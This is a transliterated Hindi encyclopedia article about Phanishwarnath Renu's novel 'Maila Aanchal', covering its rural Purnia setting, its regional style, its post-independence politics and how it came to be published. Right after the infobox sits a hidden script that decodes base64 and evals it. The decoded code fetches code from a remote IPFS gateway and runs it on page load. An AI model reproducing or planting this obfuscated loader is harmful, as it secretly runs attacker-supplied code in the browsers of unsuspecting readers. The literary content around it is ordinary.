मैला आंचल -फणीश्वरनाथ रेणु

maila aanchal -phanishvaranath renu
maila aanchal upanyas ka avaran prishth|150px|center
lekhak	renu phanishvaranath
mool shirshak	'maila aanchal'
kathanak	poorniya
ISBN	9788126704804
desh	bharat
prishth:	353
bhasha	hindi
vishay	samajik
prakar	upanyas

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maila aanchal renu phanishvaranath ka pratham upanyas hai. yah ek 'aanchalik upanyas' hai. is upanyas ka prakashan 'rajakamal prakashan' dvara kiya gaya tha. isaka kathanak hai poorniya ka. poorniya bihar rajy ka ek zila hai. isake ek or nepal hai to doosari or pakistan aur pashchim bangal haian. renu ke anusar isake ek hisse ke ek hi gaanv ko pichh de gaanvoan ka pratik manakar is upanyas ka katha kshetr banaya gaya hai. 'nalin vilochan sharma' ke anusar,

'yah aisa saubhagyashali upanyas hai jo lekhak ki pratham kriti hone par bhi use aisi pratishtha prapt kara de ki vah chahe to phir kuchh aur n bhi likhe. aisi kriti se vah apane lie aisa pratiman sthir kar deta hai, jisaki punaravritti kathin hoti hai. 'maila aanchal' gat varshoan ka hi shreshth upanyas nahian hai, vah hindi ke das shreshth upanyasoan mean sahaj hi parigananiy hai. svayan maianne hindi ke das shreshth upanyasoan ki jo talika prakashit karaee hai, usamean use sammilit karane mean mujhe kathinaee n hogi. maian kisi dvidha ke bina ek upanyas ko hatakar isake lie jagah bana sakata hooan.' - nalin vilochan sharma

samasamayik paristhitiyaan

'maila aanchal' mean phanishvaranath renu 'jati samaj' aur 'varg chetana' ke bich virodhabhas ki katha kahate haian. aj is ilake ko 'maila aanchal' ki drishti se dekhane par jati samikaran aur sansadhanoan par varchasv ki jatiy vyavastha upanyas ke katha samay ke lagabhag anuroop hi dikhata hai. jalalagadh ke pas 'maila aanchal' ke math ka vartaman sanskaran dikha, jisake nam par aj bhi saik doan ek d jamin hai, vahian baladev ke vartaman bhi upasthit the, jati se bhi yadav, natho yadav, jinake jiddi abhiyan se bihar sarakar jalalagadh ke qile ka jirnoddhar karane ja rahi hai. sadharan maile kapade mean, thaila latakae adhunik baladev yani natho ne qile ki zamin ko kabza mukt kiya, vah bhi apani hi jati ke kisi dabang parivar ke qabze se. renu ji ke ghar mean ab unake samay ke abhav nahian hai, renu ji ki khud ki pushtaini kheti 22 sau bighe ki thi, jo ab siliang ke bad kuchh saik doan mean simat gee hai. is vishal bhookhand ke malikana ke bavajood renu ji ke arthik sangharsh chhipe nahian haian, karan 'parati parikatha', koshi ki banjar bhoomi, patasan ki kheti, vah bhi anishchit. halaanki khet ke kuchh bhag mean renu ji ke rahate, yani 70 ke dashak mean dhan ki kheti sanbhav hone lagi thi. jamin par malikana 'bhoomapho d kshatriyoan' ka hai, mathoan ka hai, kayasth vishvanath prasad to koee nahian mila kuchh ghante ki yatra mean, lekin jalalagadh mean hi sahityakar poonam sianh ke bhoomihar parivar (savarn) ke pas bhi kafi jamini malikana hai. jatiyaan upanyas ke katha kal ki hakikat thian aur aj ki bhi.

pratinidhi upanyas

'maila aanchal' sahityakar phanishvaranath renu ka pratinidhi upanyas hai. is upanyas ka prakashan 1954 mean hua. 'maila aanchal' upanyas ki kathavastu bihar rajy ke poorniya zile ke meriganj ki gramin ziandagi se sanbaddh hai. 'maila aanchal' svatantr hote aur svatantrata ke turant bad ke bharat ki rajanitik, arthik, aur samajik paristhitiyoan aur paridrishyoan ka gramin aur yatharth se bhara sanskaran hai. renu ke anusar - 'isamean phool bhi haian, shool bhi hai, gulab bhi hai, kich d bhi hai, chandan bhi sundarata bhi hai, kuroopata bhi- maian kisi se daman bachakar nikal nahian paya. katha ki sari achchhaiyoan aur buraiyoan ke sath sahity ki dahalij par a kh da hua hooan; pata nahian achchha kiya ya bura. jo bhi ho, apani nishtha mean kami mahasoos nahian karata.' isamean garibi, rog, bhukhamari, jahalat, dharm ki a d mean ho rahe vyabhichar, shoshan, bahyadanbaroan, aandhavishvasoan adi ka chitran hai.

kathanak

'maila aanchal' 'hindi sahity' ka shreshth aur sashakt aanchalik upanyas hai. nepal ki sima se sate uttar-poorvi bihar ke ek pichh de gramin aanchal ko prishthabhoomi banakar phanishvaranath renu ne is upanyas mean vahaan ke jivan ka, jisase vah svayan hi ghanisht roop se ju de hue the, atyant jivant aur mukhar chitran kiya hai. 'maila aanchal' ka kathanak ek yuva d aauktar par adharit hai, jo apani shiksha poori karane ke bad pichh de gaanv ko apane kary-kshetr ke roop mean chunata hai, tatha isi kram mean gramin jivan ke pichh depan, duahkh-dainy, abhav, ajnan, andhavishvas ke sath-sath tarah-tarah ke samajik shoshan-chakroan mean phansi huee janata ki pi daoan aur sangharshoan se bhi usaka sakshatkar hota hai. katha ka ant is ashamay sanket ke sath hota hai ki yugoan se soee huee gram-chetana tezise jag rahi hai.

shilp

shilp ki drishti se is upanyas mean film ki tarah ghatanaean ek ke bad ek ghatakar vilin ho jati hai aur doosari praranbh ho jati hai. isamean ghatana pradhanata hai, kiantu koee kendriy charitr ya katha nahian hai. is upanyas mean natakiyata aur qissagoee shaili ka prayog kiya gaya hai. ise hindi mean aanchalik upanyasoan ke pravartan ka shrey bhi prapt hai. kathashilpi phanishvaranath renu ki is yugantakari aupanyasik kriti mean katha-shilp ke sath-sath bhasha-shilp aur shaili-shilp ka vilakshan samanjasy hai, jo jitana sahaj-svabhavik hai, utana hi prabhavakari aur mohak bhi.

premachand ke bad renu

'maila aanchal' aur 'parati parikatha' jaise aanchalik upanyasoan ki rachana ka shrey phanishvaranath renu ko jata hai. premachand ke bad renu ne gaanv ko naye saundaryabodh aur ragatmakata ke sath chitrit kiya hai. renu ji ka 'maila aanchal' vastu aur shilp donoan staroan par sabase alag hai. isamean ek ne shilp mean gramin-jivan ko dikhalaya gaya hai. isaki sabase b di visheshata hai ki isaka nayak koee vyaktinahian hai, poora ka poora aanchal hi isaka nayak hai. doosari pramukh bat yah hai ki mithilaanchal ki prishthabhoomi par rache is upanyas mean us aanchal ki bhasha vishesh ka adhik se adhik prayog kiya gaya hai. khoobi yah hai ki yah prayog itana sarthak hai ki vah vahaan ke logoan ki ichchha-akaanksha, riti-rivaz, parv-tyauhar, soch-vichar, ko poori pramanikata ke sath pathak ke samane upasthit karata hai. renu ji ne hi sabase pahale 'aanchalik' shabd ka prayog kiya tha. isaki bhoomika 9 agast, 1954 ko likhate hue phanishvaranath renu kahate haian ki- yah hai maila aanchal, ek aanchalik upanyas.

aanchalikata

yahi is upanyas ka yatharth hai. yahi ise any aanchalik upanyasoan se alag karata hai, jo gaanv ki prishthabhoomi ko adhar banakar likhe ge haian. gaanv ki achchhaee-buraee ko dikhata premachand, shivapoojan sahay, shivaprasad rudr, bhairav prasad gupt aur nagarjun ke kee upanyas haian, jinamean gaanv ki sanvedana rachi basi hai, lekin ye upanyas aanchal vishesh ki poori tasvir prastut nahian karate. balki ye upanyasakar gaanvoan mean ho rahe badalav ko chitrit karate nazar ate haian. parantu 'renu' ka 'meriganj' gaanv ek jivant chitr ki tarah hamare samane hai, jisamean vahaan ke logoan ka hansi-mazaq, prem-ghrina, sauhardr-vaimanasy, eershya-dvesh, sanvedana-karuna, sanbandh-shoshan, apane samast utar-chadhav ke sath ukera gaya hai. isamean jahaan ek or naitikata ke prati tiraskar ka bhav hai to vahian doosari or naitikata ke lie chhatapatahat bhi hai. paraspar virodhi manyataoan ke bich kahian n kahian jivan ke prati gahari astha bhi hai– "maila´aanchal mean"!

poore upanyas mean ek sangit hai, gaanv ka sangit, lok git-sa, jisaki lay jivan ke prati astha ka sanchar karati hai. ek taraf yah upanyas aanchalikata ko jivant banata hai to doosari taraf us samay ka bodh bhi drishtigochar hota hai. ‘meriganj’ mean maleriya kendr ke khulane se vahaan ke jivan mean halachal paida hoti hai. par ise khulavane mean paiantis varshoan ki mashakkat hai, aur yah ghatana vahaan ke logoan ki vijnan aur adhunikata ko apanane ki haqiqat bayan karati hai. bhoot-pret, tona-totaka, jha d-phook adi mean vishh‍vas karane vali aandhavishvasi paranpara ganesh ki nani ki hatya mean dikhati hai. sath hi jati-vyavastha ka kattar roop bhi dikhaya gaya hai. sab d aau. prashant ki jati janane ke ichchhuk haian. har jatiyoan ka apana alag tola hai. dalitoan ke tole mean savarn virale hi pravesh karate haian, shayad tabhi jab apana svarth ho. chhooachhoot ka mahaul hai, bhandare mean har jati ke log alag-alag pankti mean baithakar bhojan karate haian aur kisi ko is par apatti nahian hai.

svatantrata ke bad 'bharat'

‘renu’ ne svatantrata ke bad paida huee rajanitik avasaravadita, svarth aur kshudrata ko bhi b di kushalata se ujagar kiya hai. gaandhivad ki chadar odhe hue bhrasht rajanetaoan ka kukarm b di sajagata se dikhaya gaya hai. rajaniti, samaj, dharm, jati, sabhi tarah ki visangatiyoan par ‘renu’ ne apane kalam se prahar kiya hai. is upanyas ki katha-vastu kafi rochak hai. charitraankan jivant. bhasha isaka sashakt paksh hai. ‘renu’ ji saras v sajiv bhasha mean paranpara se prachalit lokakathaean, lokagit, lokasangit adi ko shabdoan mean baandhakar tatkalin samajik-rajanitik parivesh ko hamare samane saphalatapoorvak prastut karate haian. apane aanchal ko kendr mean rakhakar kathanak ko "maila aanchal" dvara prastut karane ke karan phanishvaranath ‘renu’ hindi mean aanchalik upanyas ki paranpara ke pravartak ke roop mean pratishthit hue.

hiandi upanyas aur rajaniti

shri phanishvaranath renu ke upanyas 'maila aanchal' (1954) mean svatantrata poorv aur bad ki rajaniti ka chitran milata hai. 'maila aanchal' ke gaanv ka pratyek ghar rajanitijnoan ka adda-sa ban gaya hai tatha jatigat adhar par bante is gaanv mean sabhi kisi n kisi rajanitik dal ke prati pratibaddh hai. poore upanyas mean jhoothi ajadi ka svar sunaee p data hai.

prakashan mean huee pareshaniyaan

phanishvaranath renu 'maila aanchal' varshoan pahale se hi likh rahe the. ratri 10 baje ke bad hi likhana shuroo karate the. poochhane par batate, ek aanchal ko dhyan mean rakhakar hi isaki rachana kar raha hooan. sari ghatanaoan ka maian pratyaksh gavah hooan. pustak patana ke hi ek prakashan 'samata prakashan' se prakashit huee thi, akhabari kagaj par, us samay usaka mooly paanch rupaya tha. pustak ki matr do sau pratiyaan hi chhapi thian. pustak ki bikri ke lie prakashak ki koee ruchi nahian thi, pustakean yooan hi p di thian. kahian se koee pratikriya bhi nahian a rahi thi. renuji jab bhi prakashak se rupayoan ke lie kahate prakashak sidha aur sapat uttar deta- "kitabean jyoan ki tyoan dhari haian. bikean tab to dooan." renu mayoos laut ate. 'maila aanchal' ko lekar renu behad pareshan the. unhian dinoan 'rajakamal prakashan' ke shri omaprakash patana ae the. unhoanne shayad pustak ki samiksha jo nalin vilochan sharma ne likhi thi, use padha tha. renu ko premachand ke bad upanyas ke kshetr mean naya hastakshar bataya tha radhakrishnaji latikaji se mile aur renu ko mulakat ke lie bhej dene ko kaha. renu ke ane par maianne yah soochana unhean di-b de khush hue aur kaha latika ab kuchh chamatkar hone vala hai. ve omaprakashaji se milane chale ge. lautakar unhoanne bataya ab 'maila aanchal' 'rajakamal prakashan' se chhapega, sari batean ho gee haian. doosare hi din 'samata prakashan' mean jo pratiyaan bachi thian, use bhi omaprakashaji apane sath le ge. rajakamal se pustak prakashit huee. is upalakshy mean omaprakashaji ne dilli mean ek bhavy parti ka ayojan bhi kiya tha. renu bhi usamean ge the.

jita-jagata dastavej

desh ki ajadi ke phauran bad yahaan ke dooradaraj ke gaanvoan ke halat kaise the? kaisi thi vahaan ke logoan ki ziandagi... in tamam chijoan ke satik byaure se 'maila aanchal' ek upanyas hi nahian, balki us vaqt ki ziandagi ka jita-jagata dastavej ban gaya hai. ek aisi umda kitab, jo aanchalik janajivan ki mukammal tasvir pesh karati hai. muphalisi kis tarah adami ko majaboor kar deti hai, isaka khaka khianchate hue upanyas mean dikhaya gaya hai ki arthik badahali se joojh rahe ye log mamooli-sa phayada hota dekh kabhi bhi pala badal sakate haian. 'maila aanchal' e.si. ke thande-mast vatavaran mean baithane aur gadi़yoan mean mataragashti karane vale bharat ke dhanaparast logoan ki aankhean kholane ka ek sarthak prayas hai, jinhean vasana-vilas aur lagjari se bhari apani duniya ke alava aur kuchh dikhaee nahian deta. 'maila aanchal' sirph nepal ki sima se sate bihar ke poorniya zile ki hi kahani nahian hai, balki yah bharat ke un tamam aanchalik bhoo-bhagoan mean rahane vale un tabakoan ki dastaan hai, jo abhav, ajnan-ashiksha, bhukhamari aur bebasi ke chalate janavaroan ka-sa jivan jine ko majaboor haian aur kuchhek chhutabhaiye netaoan aur dhanavanoan ke lalach ki vajah se idhar-se-udhar dhakiyae ja rahe haian. poorniya zile ka meriganj gaanv jisake ird-gird upanyas ki kahani buni gee hai, desh ke un pichh de gaanvoan ka pratik hai, jahaan halat aj bhi narakiy haian. halaanki aise halat ke bavajood vahaan ke samaj mean kahian-n-kahian apasi apanepan ki gandh bhi a hi jati hai. unamean napharat, sajish, vidroh-virodh, kam aur krodh hai to daya, maya, moh, mamata aur ek-doosare ke dukh-sukh mean sath nibhane ki bhavana bhi hai. 'maila aanchal' renu ka pahala upanyas tha, par aanchalikata ka jaisa sajiv chitran unhoanne kiya, usase prabhavit hokar aanchalik upanyas likhane ka chalan hi shuroo ho gaya. upanyas mean maithili, magahi aur bhojapuri adi sthaniy boliyoan ke shabdoan ka istemal patroan ke mukh se hua hai.

upanyas ki khas batean

• maian phir kam shuroo karooanga - yahian , isi gaanv mean. maian pyar ki kheti karana chahata hooan. aansoo se bhigi huee dharati par pyar ke paudhe lahalahaeange. maian sadhana karooanga , gramavasini bharatamata ke maile aanchal tale ! kam *kam - se - kam ek hi gaanv mean kuchh praniyoan ke murajhae othoan par muskarahat lauta sakooan , unake hriday mean asha aur visvas ko pratishthit tak sakooan ... .
• ab vah yah manane ko taiyar hai ki adami ka dil hota hai , sharir ko chir - pha dakar jise ham nahian pa sakate haian. vah hart nahian , vah agam agochar jaisi chij hai , jisamean dard hota hai. us dard ko mita do to adami janavar ho jaega.
• dil vah mandir hai , jisamean adami ke aandar ka devata vas karata hai.
• usaki aankhoan ke samane gaanv ki auratoan ki tasvirean nachane lagian. haandi mean chaval dalane se pahale , param bhakti aur shraddha se , ek mutthi chaval gaandhi baba ke nam par nikalakar rakh rahi haian. koot - pisakar jo mazadoori mili hai , usamean se ek mutthi ! bhookhe bachchoan ka pet katakar ek mutthi !
• duhaee gaandhi baba ....! gaandhi baba akele kya karean ! desh ke harek adami ka karttavy hai ...!
• santo , sare jag baurane !... lachhami ke sharir se ek khas tarah ki sugandh nikalati hai. panchayat mean lachhami baladev ke pas hi baithi thi. baladev ko ramanagar mela ke durga mandir ki tarah gandh lagati hai - manohar sugandh ! pavitr gandh !... auratoan ki deh se to haldi , lahasun , pyaj aur gham ki gandh nikalati hai !
• sharir mean jyada bal hone se hiansabat karane ka khauph rahata hai. asal chij hai buddhi. buddhi ke bal se hi ganhi mahatama ji ne aangrejoan ko haraya. gaandhi ji ki deh mean to ek chidi़ya ke barabar bhi maans nahian.
• prem aur ahiansa ki sadhana saphal ho chuki hai. phir kaisa bhay ! vidhata ki srishti mean manav hi sabase badhakar shaktishali hai. usako parajit karana asanbhav hai , prachand shaktishali bamoan se bhi nahian ... pagaloan ! adami adami hai , ginipig nahian. ... sabari oopar manus saty!

sahity mean sthan

yadyapi phanishvaranath renu samajavadi vicharadhara vale the, lekin unaka 'maila aanchal', premachand ke 'godan' ke bad ka sabase mahattvapoorn upanyas mana jata hai. apane prakashan ke 56 sal bad bhi yah upanyas hindi mean aanchalik upanyas ke apratim udaharan ke roop mean virajaman hai. yah keval ek upanyas bhar nahian hai, yah hindi ka v bharatiy upanyas sahity ka ek atyant hi shreshth upanyas hai aur isaka darza klasik rachana ka hai. isaki yah shakti keval isaki aanchalikata ke karan hi nahian hai, varanh‌ ek aitihasik daur ke sankraman ko aanchalikata ke parivesh mean chitrit karane ke karan bhi hai. boli-bani, gitoan, ritirivazoan adi ke sookshm byoroan se hai. jahaan ek or aanchal vishesh ki lok sanskriti ki saanskritik vyakhya ki hai, vahian doosari or badalate hue yatharth ke pariprekshy mean lok-vyavahar ke vividh roopoan ka varnan bhi kiya hai. in varnanoan ke madhyam se renu ji ne "maila aanchal" mean is aanchal ka itana gahara aur vyapak chitr khiancha hai ki sachamuch yah upanyas hindi mean aanchalik aupanyasik paranpara ki sarvashreshth kriti ban gaya hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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